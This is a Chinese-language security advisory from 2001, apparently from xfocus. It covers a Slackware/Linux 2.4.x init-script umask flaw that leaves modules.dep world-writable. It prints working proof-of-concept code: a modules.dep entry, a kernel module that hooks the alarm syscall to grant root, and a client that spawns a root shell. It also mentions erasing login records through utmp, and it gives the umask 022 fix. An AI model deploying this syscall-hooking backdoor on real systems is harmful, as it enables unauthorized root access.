xfocus logo xfocus title
首页 焦点原创 安全文摘 安全工具 安全漏洞 焦点项目 焦点论坛 关于我们
English Version

Linux 2.4.x Slackware Init 脚本存在漏洞


发布时间:2001-07-25
更新时间:2001-07-25
严重程度:
威胁程度:本地管理员权限
错误类型:设计错误
利用方式:服务器模式

受影响系统
Slackware version 8.0
Linux version 2.4.3
Linux version 2.4.5
详细描述
Linux 2.4.x存在安全漏洞允许攻击者装载他们自己的模块
到操作系统内核,问题主要是因为内核没有对文件很好的
设置正确的权限,使他们全局可读。

2.4.3开始的内核在装载后,留下一个0000 umask,这迫使
任何在启动脚本中建立的文件没有使用'umask 022'命令,
在Slackware中,文件包括/var/run/utmp和/var/run/gpm.pid。
同样漏洞存在/lib/modules/`uname -r`/modules.dep 也是同样
可写,当这个文件全局可写,攻击者只需要把如下的内容放到
/lib/modules/`uname -r`/modules.dep 下即可:

测试代码
/lib/modules/2.4.5/kernel/drivers/char/lp.o: /tmp/alarm.o

/tmp/alarm.o:

Where the alarm.o module is:

#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/types.h>
#include <asm/segment.h>
#include <asm/unistd.h>
#include <linux/dirent.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>

#include <linux/sched.h>

#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/kernel.h>

extern void* sys_call_table[];

unsigned int (*old_alarm) (unsigned int seconds);
unsigned int hacked_alarm (unsigned int seconds);

unsigned int hacked_alarm(unsigned int seconds)
{
           if(seconds == 454) {
                current->uid = 0;
                current->euid = 0;
                current->gid = 0;
                current->egid = 0;
                return 0;
            }
   return old_alarm(seconds);
}

int init_module(void) {
old_alarm=sys_call_table[SYS_alarm];
sys_call_table[SYS_alarm] = hacked_alarm;
return 0;
}

void cleanup_module(void) {
   sys_call_table[SYS_alarm] = old_alarm;
}

make a client:
#include <stdio.h>
#include <unistd.h>

int main(void)
{
  alarm(454);
  execl("/bin/sh", "sh", NULL);
}

当模块被装载的时候,SHELL也以ROOT身份执行。

另外由于/var/run/utmp可写,用户可以可以删除等登陆信息。

解决方案
在所有启动脚本中增加umask 022.

相关信息
lockdown at lockeddown.net